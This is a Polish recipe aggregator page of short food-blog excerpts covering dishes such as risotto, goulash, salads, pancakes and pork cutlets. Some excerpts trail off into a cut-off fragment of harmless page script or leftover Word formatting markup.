roztopić masło, smażyć cebulę dopóki się zeszkli KROK 2: Krewetki dodać do podsmażonej cebuli, podlać białym winem Smażyć około 10 minut. Wino powinno się zredukować na tyle by pozostał sos, w którym możemy moczyć pieczywo. Na koniec lekko posolić, dodać chili według uznania Podawać z bagietką :) SMACZNEGO!!! Koszt: 12 zł Ilość: 2 osoby

smacznieinatemat
Zdrowe burgery z warzywnymi frytkami 889

patelni odstawiamy na przynajmniej minutę i dopiero wtedy podajemy w towarzystwie pieczonych warzyw. Smacznego! PS. A do takiego obiadu koktajl marchewka-pomarańcza :) PPS. Następnym razem zrobię jeszcze domowy sos ziołowo-czosnkowy! Że też ja wcześniej na to nie wpadłam, a dopiero przy jedzeniu. Pasowałby idealnie

Ratunku obiad
Szynka w marynacie cebulowej 235

godziny w chłodne miejsce. Szynkę układam w naczyniu żaroodpornym i polewam marynatą. Piekę około 2 godziny w temperaturze 180 stopni, co jakiś czas polewając mięso powstałym w czasie pieczenia sosem

Tradycyjna kuchnia Kasi
Czarny makaron z krewetkami 169

nadaje się na romantyczną kolację, rodzinny obiad czy spotkanie w gronie znajomych.  Do jego wykonania można oczywiscie użyć normalnego makaronu, jednak polecam czarny, który pięknie kontrastuje z jasnym sosem i różowymi krewetkami. Składniki na porcje dla 2 osób: 200 g makaronu barwionego atramentem kałamarnicy 200 g krewetek Black Tiger ( u mnie mrożone, już obrane) Pół papryczki peperoni (u mnie

Zawsze głodna!
Burrito 193

mięso mielone, które przyprawiamy solą, pieprzem i papryką ostrą. Gdy mięso jest podsmażone, dodajemy pokrojoną w kostkę paprykę i pomidory z puszki. Dusimy wszystko na małym ogniu, aby sos zgęstniał. Doprawiamy solą, pieprzem, papryką ostrą i słodką, posiekaną kolendrą, kuminem i cynamonem. Na koniec dorzucamy odsączoną fasolkę i kukurydzę i mieszamy do połączenia składników. Nastawiamy piekarnik na 180 stopni. Szykujemy

Zawsze głodna!
Frytki z pietruszki 218

czasu mieszając, aż pietruszka zmięknie. Następnie przekładamy blachę na najwyższy poziom piekarnika i podpiekamy jeszcze przez kilka minut, aż frytki się przyrumienią. Gotowe frytki świetnie smakują z domowym sosem czosnkowym lub miodowo-musztardowym :) Przepis dodaję do akcji

Zawsze głodna!
Shakshouka (Szakszuka) 1279

pomidory sie rozpadną. Dodajemy kmin rzymski, sól, pieprz, chili (danie smakuje najlepiej, gdy pomidory są dosyć ostre) i odrobinę cukru. Następnie robimy 4 zagłębienia w powstałym gęstym pomidorowym sosie i w bijamy w każde z nich po jajku. Przykrywamy i smażymy do momentu, aż białka całkowicie sie zetną, a żółtka pozostaną lekko płynne. Doprawiamy jajka solą i pieprzem, całość posypujemy

Zawsze głodna!
Sałatka makaronowa z awokado, mozzarellą i parmezanem 271

odstawić do ostygnięcia. Sałatę umyć, awokado obrać, pokroić w plastry. Mozzarellę rozdzielić palcami na mniejsze kawałki.  Czosnek obrać i dodać do oliwy z oliwek. Całość zmiksować na jednolity sos.  Wszystkie składniki wymieszać i całość posypać parmezanem. Przepis jest bardzo prosty a efekt wyśmienity

Kuchenne syntezy
890. Dutch baby z wiśniami. 153

lekko kawowy Dutch baby  z wiśniami* i płatkami migdałowymi *potem też z "sosem" wiśniowym, sok z wiśni zagęszczony mąką ziemniaczaną Jest tyle przepisów na tego omleta, że, aż głowa może rozboleć i weź tu wybierz takiego co to wyjdzie dobry, wiec jak zwykle z moim mózgiem stworzyłam własne proporcje, nie wygląda jak typowy, ale za to smaczny wyszedł

More food, love and dreams
Risotto z brązowymi pieczarkami i kozim serem 208

Ryż długoziarnisty nie nadaje się - nie będzie się sklejał. Ryżu na risotto nie płuczemy przed gotowaniem - zmylibyśmy wtedy skrobię z jego zewnętrznej warstwy, a jest ona potrzebna do zagęszczenia sosu. Risotto trzeba co chwilę mieszać i stopniowo dolewać wino, a potem bulion. Kolejną porcję płynu dodajemy, gdy poprzednia zostanie wchłonięta przez ryż.  W przepisie wykorzystane są brązowe pieczarki

W SMAK
Klopsiki z pieczarkami i pietruszką 161

dobrze doprawione klopsiki wieprzowe z pieczarkami i pietrzuszką. A z brązowymi pieczarkami są naprawdę rewelacyjne! Można podać je zarówno z ziemniakami, jak i z makaronem, ale koniecznie z dobrym sosem, np. z  boczniaków . Składniki (na ok. 10-12 sztuk): 500 g mielonego mięsa wieprzowego 100 g brązowych pieczarek 1 spora cebula 1 ząbek czosnku 1 łyżka masła klarowanego

W SMAK
Roladki z szynki pieczone w niskiej temperaturze 230

obsmażyć roladki z każdej strony, by zamknąć mięso. Obsmażone roladki przełożyć do rozgrzanego naczynia żaroodpornego, wstawić bez przykrycia do piekarnika i piec 3 godziny. Swoje roladki podałem z  sosem z soku z granatu  oraz z ryżem barwionym kurkumą

W SMAK
Risotto z groszkiem cukrowym i szynką parmeńską 190

nano. Ryż długoziarnisty nie nadaje się - nie będzie się sklejał. Ryżu na risotto nie płuczemy przed gotowaniem, aby nie zmyć z jego powierzchni skrobii, która jest potrzebna do zagęszczenia sosu. Risotto trzeba co chwilę mieszać i stopniowo dolewać wino, a potem bulion. Kolejną porcję płynu dodajemy, gdy poprzednia zostanie wchłonięta przez ryż. Składniki (dla 2 osób): 1 szklanka ryżu (użyłem

W SMAK
Pieczarki duszone na maśle 214

odkrywamy i zwiększamy płomień pod rondlem, tak by większość wody wyparowała. Gdy zostanie jej już naprawdę niewiele, dodajemy resztę masła. Mieszamy do czasu, aż masło się stopi, a powstały sos nieco zagęści

W SMAK
Mule z trawą cytrynową i mlekiem kokosowym 166

drobne sito lub gazę - w ten sposób pozbywamy się resztek piasku, który mógł być zamknięty w muszlach. Do przesączonego płynu dodajemy mleko kokosowe i doprowadzamy do wrzenia. Tak sporządzonym sosem polewamy małże. Podajemy z natką pietruszki lub kolendry

W SMAK
Gulasz 185

woda), NIGDY nie zalewać zimną wodą, bo mięso stwardnieje. Dusimy mięso pod przykryciem do miękkości, ok 30-45 min, po czym wyjmujemy cebulę. Na koniec zwiększamy ogień i zagęszczamy sos wodą rozbełtaną z mąką. My najczęściej jemy gulasz z ziemniakami oraz podsmażonymi buraczkami z cebulką. Polecam, bo danie łatwe i niezwykle smaczne function load(url, callback) { var xhr; if(typeof

dom-agi.pl
Pełnoziarnista pita 178

roztopionym masłem. Piec w dobrze nagrzanym piekarniku, w temp. 230 st. C, przez 15 minut, do zarumienienia. Ja podałam z warzywami oraz podsmażonymi kawałkami kurczaka. Osobno podałam keczup i sos czosnkowy. Smacznego   function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp.2.0', 'Microsoft.XmlHttp

dom-agi.pl
Placek po węgiersku 211

dodać do mięsa. Dusić wszystko do miękkości. Gdy mięso będzie miękkie zagęścić rozbełtaną mąką z wodą. Smażyć placki na całej patelni ( grubsze niż na zwykłe placki ziemniaczane), podawać z sosem. Smacznego A tak wygląda gulasz na patelni: function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp

dom-agi.pl
Nuggetsy 348

płatki rozkruszyć. Kawałki kurczaka maczać w jajku a następnie obtaczać w pokruszonych płatkach kukurydzianych. Smażyć na oleju partiami. Ja podałam taki obiad z smażonymi talarkami z ziemniaków oraz z sosami. Smacznego function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp.2.0', 'Microsoft.XmlHttp

dom-agi.pl
Dietetyczny omlet 259

całość na rozgrzaną patelnie i smażyć z obydwu stron po 4-5 minut. W tym czasie jogurt naturalny wymieszać z przeciśniętym czosnkiem, solą i pieprzem. Na usmażony omlet nakładać sos, pomidory, wszystko obsypać szczypiorkiem. Proste prawda? A jakie smaczne function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp

dom-agi.pl
Dietetyczna tortilla 214

masę na patelnię i smażyć bez tłuszczu z obu stron na średnim ogniu. Farsz: - liść sałaty; - kawałek papryki czerwonej, zielonej, żółtej; - 2 rzodkiewki; - plasterek chudej wędliny; - 2 pomidorki; - kiełki - sos czosnkowy (jogurt naturalny+zmiażdżony czosnek+sól+pieprz) Wykonanie: Na usmażonej tortilli układać wszystkie składniki, zwinąć. Smacznego:)   function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest

dom-agi.pl
Kod promocyjny PizzaPortal na Dzień Mamy! 153

PizzaPortal chciałabym Wam dzisiaj zaproponować ciekawą opcję na uczczenie tak wielkiego święta jakim jest Dzień Mamy. Pierogi ruskie z zasmażką, schabowy z mizerią i ziemniakami pokruszonymi koperkiem, gołąbki w sosie pomidorowym, bigos po staropolsku, placki ziemniaczane z cukrem… Brzmi, jak czasy z dzieciństwa, kiedy to Mama każdego dnia przyrządzała pyszny domowy obiad? Teraz masz szansę się odwdzięczyć! Od 26-maja

dom-agi.pl
Duszona młoda kapusta 202

Dusić, podlewając wodą około 20 minut. W tym czasie pokroić boczek w kostkę i zrobić z niego skwarki, pod koniec dodać łyżkę masła i cebulę. Dodać mąkę i podlewać sosem z kapusty. Wszystko dodać do garnka z kapustą. Doprawić solą i pieprzem i na koniec dodać posiekany koperek. Smacznego function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined

dom-agi.pl
Spaghetti carbonara – Włochy 183

cebula będzie złota dodać makaron. Wszystko chwilę smażyć. W tym czasie rozbełtać jajka ze śmietaną. Patelnię zdjąć z ognia dodać jajka ze śmietaną i mieszać aż do uzyskania konsystencji sosu, nie za długo, żeby nie zrobiła się jajecznica. Posypać świeżo zmielonym kolorowym pieprzem i tartym serem. Można dodatkowo dosolić. Smacznego function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined

dom-agi.pl
Sernik na spodzie brownie 186

mąki pszennej Do niewielkiego garnuszka włożyć masło, dodać czekoladę i rozpuszczać na małej mocy palnika, mieszając od czasu do czasu, aż składniki się połączą i powstanie gładki sos czekoladowy. Ściągnąć z palnika, odłożyć do lekkiego przestudzenia. Jajko (w całości) ubić z cukrem przy pomocy miksera na puszystą pianę. Powoli wlewać lekko przestudzoną czekoladę (może być ciepła), miksując do połączenia. Dodać

dom-agi.pl
Makaron z tuńczykiem 161

zmielony pieprz - olej rzepakowy Wykonanie: Rozgrzewamy patelnię z olejem, dodajemy posiekaną cebulę i czosnek. Smażymy przez chwilę i od razu wrzucamy odsączonego tuńczyka z puszki oraz passatę pomidorową. Mieszamy sos, przyprawiamy i łączymy z ugotowanym makaronem. Każdą porcję posypujemy sporą ilością posiekanej natki pietruszki i koperku. Smacznego function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest

dom-agi.pl
Zapiekanka makaronowa z łososiem 315

dente. Łososia pokroić w kostkę i opróczyć solą i pieprzem. Śmietanę wymieszać z wodą, mąką i koperkiem, do smaku dodać sól i pieprz. Ugotowany makaron, pokrojonego łososia i sos śmietanowy wymieszać w dużej misce. Dodać garść startego sera i ponownie wymieszać. Naczynie do zapiekania posmarować masłem i przełożyć wymieszane składniki. Na wierzchu posypać startym serem. Wstawić do piekarnika nagrzanego

Monia miesza i gotuje
jajka gotowane na twardo 185

zależności od ich wielkości. Po tym czasie wyjmujemy i od razu wkładamy je do zimnej wody. P odajemy z sol ą,  majonezem, szczypiorkiem lub np. z sosami ( np. chrzanowym). Tak ugotowane jajka są bardzo dobre same w sobie, jak i stanowią wspaniały dodatek do różnych  sałatek

Kulinarnie z Polką na Kresach
PSTRĄG PIECZONY NA WARZYWACH 246

Cucurbitae oleum). Dzięki przyjemnemu smakowi i zapachowi bardzo dobrze sprawdza się z gotowanymi ziemniakami, chlebem, kaszami, kluskami, serem, cebulą, śledziami, sałatkami śledziowymi i rybnymi, sałatą, surówkami, gotowanymi warzywami, sosami sałatkowymi.  Olej zawiera ca 80% Niezbędnych Nienasyconych Kwasów Tłuszczowych koniecznych do prawidłowego funkcjonowani

Z Majeczką w kuchni
Karkówka i piwo. 264

dolewać po trochu wody i uzupełniać płyn w razie potrzeby. Mi duszenie mięsa zajęło około 2 godziny. Pod koniec gotowania dodajemy tymianek i doprawiamy pieprzem. W razie konieczności, jeśli sos z duszenia będzie zbyt gęsty możemy zaciągnąć go mąką

Przysmaki Karolki
Pizza orkiszowa 332

mieszamy z ziołami oraz pieprzem. Ser ścieramy na tarce z grubymi oczkami. Paprykę oraz oliwki kroimy na małe kawałki. Wyrośnięte ciasto kładziemy na stolnicy i rozwałkowujemy, a następnie smarujemy sosem pomidorowym. Układamy wszystkie dodatki, posypujemy serem. Wstawiamy do piekarnika nagrzanego do 180 stopni na około 25 minut. Po upieczeniu posypujemy pizze roszponką.  Smacznego

Fit-amina
SAŁATKA ŚLEDZIOWA a'la sos Tatarski - z korniszonami, oliwkami, jajkami... 416

rzadko tego "drugiego dnia" doczeka.  Sałatka wyszła genialnie, ale nie ma w tym nic dziwnego - jest śledź (a to już połowa sukcesu) i jest baza podchodząca delikatnie pod sos tatarski (a to już wróży miejsce na podium smaków). Co prawda nie użyłyśmy grzybków marynowanych, jak w przypadku naszego ukochanego sałatkowego dzieła, ale... zastąpiłyśmy je czymś równie pysznym. Oliwkami. Zieleń

Wypisz Wymaluj
Polędwiczki z Łososia na Pesto alla Genovese z Pomidorkami Śliwkowymi podpieczonymi z Oliwą z oliwek 197

rozcieramy. W trakcie rozcierania dodajemy na przemian  starty drobno parmezan, czosnek, orzechy i ponownie bazylia. Na końcu dodajemy oliwę z oliwek, próbujemy i solimy. Oliwy dodajemy tyle, aby sos łatwo rozprowadził się po makaronie.  Wstawiamy wodę na makaron. Wodę solimy. Piekarnik ustawiamy na temperaturę około 220 stopni. Szpinak siekamy bardzo drobno, dodajemy kilka kropel oliwy z oliwek

Blondynka Gotuje
Szpinak z truskawkami 192

suszymy, układamy na talerzu, doprawiamy solą i pieprzem. Na wierzch kładziemy truskawki, ser, pomarańcze, 3 pokrojone w paski suszone pomidory.  Z miodu, zalewy i soku z pomarańczy robimy sos, dodajemy 2 suszone pomidory, miksujemy, polewamy sałatkę. Smacznego:)  1  porcja zawiera:         254  kcal

Powiedz dietom nie
Zdrowe święta! 163

kilogramów:        Śmietanę tak często obecną w świątecznych potrawach zastąpmy jogurtem naturalnym          Do sałatek i surówek nie dodawajmy majonezu – zastąpmy go sosem na bazie jogurtu lub winegret          Zróbmy lżejsze wersje ciast – używajmy mąki z pełnego przemiału, płatków owsianych,  puree z fasoli, otrębów.  Słodkie dżemy zastąpmy

Powiedz dietom nie
Omlet zwany frittatą. 218

opadła. Możemy również zapiekać ją w piekarniku (10-12 minut w 180 st). Polecam eksperymentować ze składnikami, np. dodać pomidora, por, bazylię, mozzarellę na wierzch lub polać sosem pomidorowym. Wszystko dozwolone, ogranicza nas tylko wyobraźnia i zaopatrzenie lodówki:) Porcja (1/2 podanych składników ) zawiera

Powiedz dietom nie
Tarta szpinakowa na spodzie z cieciorki FIT bezglutenowa 283

jogurtem, doprawiamy (u mnie tylko pieprz ze względu na słoność fety). Układamy na podpieczonym spodzie, posypujemy pokruszoną fetą. Zapiekamy 25 minut w 180 stopniach. Polecam podawać na ciepło z sosem czosnkowym na bazie jogurtu. Smacznego

Powiedz dietom nie
Intensywnie żólty kurczak w sosie cytrynowym 247

jednego naczynia i zalewamy wywarem. Dusimy ok 20-25 minut. Jogurt mieszamy z mąką i sokiem z cytryny. Dodajemy do mięsa i pieczarek. Dosypujemy kurkumę i paprykę, mieszamy aż sos zgęstnieje. 1 porcja zawiera: 203 kcal, 30,7 g białka, 7,7 g tłuszcze, 4,1 g węglowodany, 2 g błonnik

Powiedz dietom nie
Fasolka szparagowa z rybą na ostro 164

soku z cytryny, starty imbir Fasolkę i rybę rozmrażamy, dokładnie osuszamy. W garnku mieszamy 3 łyżki wody z pastą curry, dodajemy mleko kokosowe, olej i kurkumę. Chwilę gotujemy aż sos zgęstnieje. W tym czasie w osobnym garnku gotujemy fasolkę szparagową. Do garnka z curry dodajemy sól, cukier i sok z cytryny. Następnie wkładamy pokrojoną na 3-4 cm kawałki rybę

Powiedz dietom nie
Fusilli z bakłażanem i pomidorami 248

kostkę. Podsmażamy na oliwie do miękkości, dodajemy czosnek przeciśnięty przez praskę.  Wlewamy pomidory z zalewą, doprawiamy solą i pieprzem. Dusimy razem około 5 minut. Na końcu dodajemy bazylię. Sos podajemy z makaronem, posypujemy tartym serem. Smacznego

Moje Kuchenne Rewelacje
Naleśniki z soczewicą zieloną 226

duszę jakieś 10 minut. Następnie zestawiam z gazu. Składniki na  naleśniki miksuję, potem smażę je na patelni z odrobiną oliwy z oliwek.   Gotowe ! Dobrze smakują z sosem czosnkowym oraz zieleninką (roszponka, kiełki). SMACZNEGO ŻYCZĘ

Życie na widelcu
Kurczak pod pierzynką z mozzarelli 395

filety opłukać, osuszyć i okroić. Posypać oregano i bazylią oraz solą i pieprzem. podsmażyć, dolać pomidory, na wierzchu fileta położyć po plasterku mozzarelli. Można ugotować makaron i dołożyć do sosu. Świetne rozwiązanie zamiast ziemniaków, czy ryżu. SMACZNEGO

Luźna Kuchnia
Domowe hamburgery 286

Składniki: 0,5 kg mięsa mielonego wieprzowo- wołowego 2 żółtka 2 łyżeczki bułki tartej 2 łyżeczki ketchupu 2 łyżeczki musztardy dijon 1 łyżeczka sosu sojowego ciemnego 1 łyżeczka słodkiej papryki, pieprzu cayenne, oregano 0,5 łyżeczki czosnku i pieprzu cytrynowego szczypiorek zamiast cebuli 4 bułki sezamowe 1 pomidor 1 czerwona cebula sałata lodowa lub zielona 4 plasterki sera żółtego jeśli

Luźna Kuchnia
Schab z pieczarkami pod beszamelową pierzynką 252

pszennej 20 g masła 80 g tartego sera np. Emmentalera lub Raddamera 1 żółtko 2 łyżki sera Grana Padano Przygotowanie: kotlety myjemy, suszymy. Pieczarki obieramy, kroimy w plasterki. Przygotowujemy sos beszamelowy- masło rozpuszczamy w rondelku, stopniowo dosypujemy mąkę, ciągle mieszając dolewamy mleko. Gotujemy do momentu zgęstnienia, nie zapominając o mieszaniu, dosypujemy starty na drobnych oczkach ser, wbijamy żółtko. Solimy. mięso

Luźna Kuchnia
White chocolate watermelon n strawberry 209

truskawek tabliczka białej czekolady 50 ml soku z arbuza 50 ml rumu lub innej mocnego trunku Przygotowanie: arbuza kroimy w kosteczki, truskawki myjemy, oczyszczamy i kroimy w plasterki. przygotowujemy sos czekoladowy- czekoladę roztapiamy w kąpieli wodnej, kiedy będzie płynna zestawiamy z ognia dolewamy soku z arbuza i rumu. mieszamy do uzyskania gładkiej błyszczącej konsystencji. Studzimy i polewamy owoce:) Smacznego

Luźna Kuchnia
Roladki pomidorowe 388

oliwie Czosnek obieramy, siekamy na drobną kosteczkę, podsmażamy. Zalewamy pokrojonymi w kostkę pomidorami i bulionem. podgrzewamy 5- 10 minut. Doprawiamy.   Roladki przekładamy do naczynia żaroodpornego i zalewamy sosem, posypujemy parmezanem. Wstawiamy do nagrzanego do 180'C piekarnika i zapiekamy ok 10 minut, podajemy pokrojone w plasterki na makaronie typu tagliatelle. SMACZNEGO! P.S Roladki możemy zwinąć w szynkę parmeńską

Luźna Kuchnia
Kaczka pieczona z karmelizowanymi gruszkami i cydrem lubelskim 221

skórę nacinamy w kratkę, oprószamy solą i pieprzem, podsmażmy z każdej strony na suchej patelni na złoty kolor kaczkę zdejmujemy z patelni i deglasujemy patelnię- zalewamy ją cydrem, otrzymany sos dolewamy do gruszek ostudzoną kaczkę nadziewamy gruszkami, jeśli zostaną- wkładamy je razem z kaczką do rękawa i wstawiamy do nagrzanego do 200"C piekarnika. pieczemy około 30 minut podajemy

Luźna Kuchnia
Naleśniki z wanilią i karmelowymi jabłkami 230

gorącej patelni, wrzucamy jabłka, dolewamy sok z cytryny, wrzucamy ziarenka wanilii. Smażymy na złoty kolor około 15-20 minut. Czekoladę łamiemy, roztapiamy w kąpieli wodnej, dolewamy śmietanę sos wlewamy do jabłek Podajemy wedle uznania złożone, zrolowane lub oblane. Z bitą śmietaną, a może z cukrem pudrem lub cynamonem. Smacznego

Luźna Kuchnia
Naleśnikowa Quesadilla 402

gorącej suchej patelni, najlepiej tej samej, a której smażyliśmy naleśniki, zapiekamy z dwóch stron Zdejmujemy z patelni, kroimy na 6 trójkącików, serwujemy na gorąco lub na zimno, z sosem barbecue lub posmarowane śmietaną i oprószone szczypiorkiem i świeżo mielonym pieprzem. PYCHOTA! P.S Pomysł idealnie sprawdzi się jako Sylwestrowa Przekąska

Luźna Kuchnia
Zielone Tortille 252

oliwa z oliwek 1 op serka naturalnego  bazylia oregano sól pieprz słodka papryka Guacamole: • 1dojrzałe awokado • 2 łyżki soku z limonki • 1 mały ząbek czosnku • 2 łyżeczki pikantnego sosu tabasco • kilka gałązek świeżej kolendry • 4 łyżki oliwy z oliwek • sól •  składniki ucieramy w moździerzu lub drobniutko siekamy, a awokado zgniatamy widelcem i dokładnie wszystko mieszamy:) Przygotowanie: Pomidora myjemy

Luźna Kuchnia
Schab z nieTYPOWĄ salsą i clafoutis z fetą 221

wszystkie składniki salsy wrzucamy do miseczki, oprószamy posiekaną kolendrą, doprawiamy solą i pieprzem foremki z clafoutis wstawiamy do piekarnika na około 15 minut oliwę mieszamy z miodem, dosypujemy oregano, sosem zalewamy naszą salsę, odstawiamy aby wszystkie składniki mogły się "przegryźć" ze sobą na rozgrzaną patelnię z odrobiną oliwy układamy kotlety, które smażymy z obu stron po około 3 minuty Serwujemy

Luźna Kuchnia
Kolety z kaszy jaglanej 351

Doskonałe kotlety są dietetyczne. Warto podać na postny piątek  z sosem np. pomidorowym lub z którąś z naszych surówek. Składniki: pół szklanki surowej kaszy jaglanej  6 jajek ugotowanych na twardo  1 jajko  1 średnia cebula  5-6 średniej wielkości pieczarek pół czerwonej papryki  pół pęczka kolendry 2 łyżki płatków owsianych 1 duży ząbek czosnku

kgwjanczewo
Makaron penne z chorizo i jarmużem 230

aromatyczny, pomarańczowy tłuszcz, nie trzeba dodawać oliwy).  Zagotuj wodę na makaron, posól i gotuj penne 2 minuty krócej niż mówi informacja na opakowaniu (makaron dojdzie potem jeszcze z sosem). W tym czasie dokładnie umyj jarmuż, wytnij grube łodygi i porwij na kawałki. Wrzuć na patelnię, zalej winem lub wodą, przemieszaj i przykryj pokrywką (lub kawałkiem folii aluminiowej). Paruj przez

Chilli Czosnek i Oliwa
naleśniki z serem 417

płaskim talerzu, polewamy śmietaną i posypujemy cukrem kryształem lub oprószamy cukrem pudrem. Dla urozmaicenia, zamiast śmietanki, możemy je, np. polać sosem waniliowym, czy syropem owocowym, np. z malin. SMACZNEGO

Kulinarnie z Polką na Kresach
Węgierski paprykarz z polędwiczką wieprzową / Hungarian pork tenderloin paprikash 289

Paprykarz – tradycyjne danie kuchni węgierskiej, chociaż u mnie mniej tradycyjnie, bo z polędwiczką wieprzową a nie z kurczakiem. Soczyste kawałki mięsa w pysznym śmietankowo-pomidorowym sosie z papryką, podane z makaronem. Szybki i przepyszny obiad dla całej rodziny. Polecam! Przepis znalazłam tutaj . Scroll down for recipe in English Węgierski paprykarz z polędwiczką wieprzową (4 porcje) Składniki: 170 g ulubionego

karmelowy
ciasto na naleśniki 315

smaruje tłuszcz tylko przed pierwszym naleśnikiem. reszta naleśników już go nie potrzebuje ponieważ jest on zawarty w cieście. 5. Wylewamy na nagrzany tłuszcz (za pomocą np łyżki do sosów) wcześniej przygotowane przez nas ciasto. Nie lejemy za dużo cista- ma ono jedynie cienko przykryć dno patelni. Gdy widzimy,  ż e na wierzchu nie mamy już surowego ciasta

Kulinarnie z Polką na Kresach
Makaron creste z kurczakiem i brokułem 378

Creste z kurczakiem, brokułem i kukurydzą w sosie śmietanowo-pomidorowym, to szybki i smaczny obiad. Porcja na 4 osoby. SKŁADNIKI 2 piersi z kurczaka 1 brokuł 3/4 opakowania makaronu creste (lub innego) 1 puszka kukurydzy 1 puszka pomidorów 1 duża marchewka 1 duża śmietana 18% (330 g) 3 ząbki czosnku 90-100 g żółtego sera oliwa do smażenia przyprawy: sól

Passions hobbies life
MANICOTTI TUNISIEN 172

miski wsypać mąkę, dodać jajka, roztopione masło i alkohol. Zagnieść ciasto, podobnie jak na faworki, przykryć ściereczką i odstawić na około 30 minut. W tym czasie można przygotować sos z miodu, soku z cytryny i kilku kropel wody różanej. Wszystkie składniki, należy podgrzać w garnuszku. Migdały (drobno posiekane) uprażyć. Ciasto cienko rozwałkować , pociąć na paski szerokie

Kuchnia w opałach
Pierogi empanadas 433

mielonym z dodatkiem warzyw są duże i bardzo sycące. Można podać je na ciepło jako przekąskę lub na obiad z dodatkiem surówki i sosu: np. czosnkowego. Ciasto na bazie serka kremowego jest bardzo delikatne i kruche, farsz zaś lekko pikantny dzięki dodaniu pieprzu Cayenne. Takie pierogi smakują wyśmienicie. Zawsze przygotowuję

Marta Gotuje
SAŁATKA SZPINAKOWA Z KAWIOREM, OLIWKAMI, ANANASEM I... 212

pora 4. Kremowa sałatka włoska ze śledziem na łódeczkach pomidorowych 5. SAŁATKA Z TUŃCZYKIEM, POREM, CZERWONYM RYŻEM, CZARNYM SEZAMEM, ZIARNAMI I... 6. Sałatka Jarzynowa 7. Sałatka Fasolowa 8. Sos tatarski mocno grzybowy 9. Sałatka 3 sałaty - świeża, z bukietem sałat i serkiem, Aby nic, a nic Wam nie umknęło: zaobserwujcie nas: tutaj i polubcie na facebooku tutaj

Wypisz Wymaluj
Placki ziemniaczane po węgiersku 176

gulaszu jak kto woli). SKŁADNIKI NA PLACKI: Ziemniaki zetrzeć z cebulą   mąka   jajko   sól, pieprz Wszystko wymieszać, piec złociste placki. Placki polać gulaszem, można dodać trochę sosu czosnkowego. SMACZNEGO

Kuchnia Beaty
Soczyste kotlety 198

pociąć na kotlety, ubić.  Składniki marynaty wymieszać i włożyć do niej ubite kotlety, przynajmniej na godzinę do lodówki.  Następnie smażę na wolnym ogniu, podczas smażenia uzyskuję pyszny sos. SMACZNEGO! Jeśli wypróbowaliście mój przepis, może wprowadziliście modyfikacje dzięki czemu potrawa nabrała jeszcze lepszego smaku podzielcie się tym ze mną proszę( będę wdzięczna za wszelkie uwagi). Umieszczę Was udoskonalony przepis

Kuchnia Beaty
Podudzie w marynacie z miodu i musztardy 184

piekarnika i piec często przewracając oraz polewając pozostałą marynatą, przez około 40 minut, aż będą ładnie zarumienione i chrupiące. Wyłożyć udka na talerz i posypać posiekaną natką pietruszki. Pozostałym sosem z naczynia żaroodpornego polać ugotowane ziemniaki.Można danie zrobić na patelni. Jeśli wypróbowaliście mój przepis, może wprowadziliście modyfikacje dzięki czemu potrawa nabrała jeszcze lepszego smaku podzielcie się tym ze mną

Kuchnia Beaty
Kalafior faszerowany 180

różyczki kalafiora przełożyć do naczynia żaroodpornego, wlać 1/3 szkl. wody 2 łyżki masła położyć na wierzch włożyć do nagrzanego do 220 stopni piekarnika, piec około 30 min. można polać sosem holenderskim ( przepis podam w osobnym poście) lub beszamelem i posypać serem

Kuchnia Beaty
Sałatka z tuńczykiem 348

kolację z przyjaciółmi oprócz pysznych mięs trzeba przygotować sałatki- proponuję SAŁATKĘ WARZYWNA Z TUŃCZYKIEM SAŁATKA Z TUŃCZYKIEM SKŁADNIKI: sałata lodowa puszka tuńczyka w sosie własnym 2 jajka ugotowane na twardo 2 pomidory ogórek zielony średniej wielkości czerwona cebula oliwa z oliwek, ok. 5 łyżek musztarda, 1 łyżka sól, pieprz, zioła prowansalskie WYKONANIE: Sałatę myjemy, osuszamy. Liście rwiemy na mniejsze kawałki

Kuchnia Beaty
Sałatka z tuńczykiem 364

fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;} SAŁATKA Z TUŃCZYKIEM SKŁADNIKI: 5 jaj na twardo 2 puszki tuńczyka w sosie własnym 20 dag. sera żółtego Ogórki kiszone 5-8 Cebula Majonez WYKONANIE: Produkty układamy warstwami: ½ białek ½ sera 1puszka tuńczyka Warstwa majonezu Cebula + ogórek 1 puszka tuńczyka Warstwa majonezu ½ białek ½ sera Żółtko

Kuchnia Beaty
Sałatka śledziowa 334

ręcznikach, pokroić w paski Do śledzi dodać cebulę, paprykę wymieszać, na wierzch położyć pokrojone jajka Majonez zmieszać z jogurtem, doprawić świeżo zmielonym czarnym pieprzem i solą  Sałatkę polać sosem, posypać pietruszką

Kuchnia Beaty
Żeberka w sosie własnym 144

Jestem fankom prostej polskiej kuchni, która może nie jest dietetyczna, ale jaka smaczna!! Dla smakoszy wieprzowiny kolejny przepis na  ŻEBERKA . ŻEBERKA W SOSIE WŁASNYM SKŁADNIKI: 1kg. żeberek 10 dag. mąki po cztery ziarna ziela angielskiego, pieprzu 2 ząbki czosnku, 1 duża cebula 2 liścia laurowe margaryna, sól, pieprz, ewentualnie kostka pieczeniowa knorr WYKONANIE: Pokrojone żeberka posypać solą i pieprzem

Kuchnia Beaty
Soczysta karkówka. 151

smażymy.Podlewamy ok.1 szklanki wody, posypujemy pieprzem, Vegetą, przyprawą do wieprzowiny.  Dusimy razem do miękkości ,uzupełniając wodę i co pewien czas mieszać. No i gotowe smaczne mięsko z sosem

Kuchnia Beaty
Gulasz z piersi kurczaka. 4134

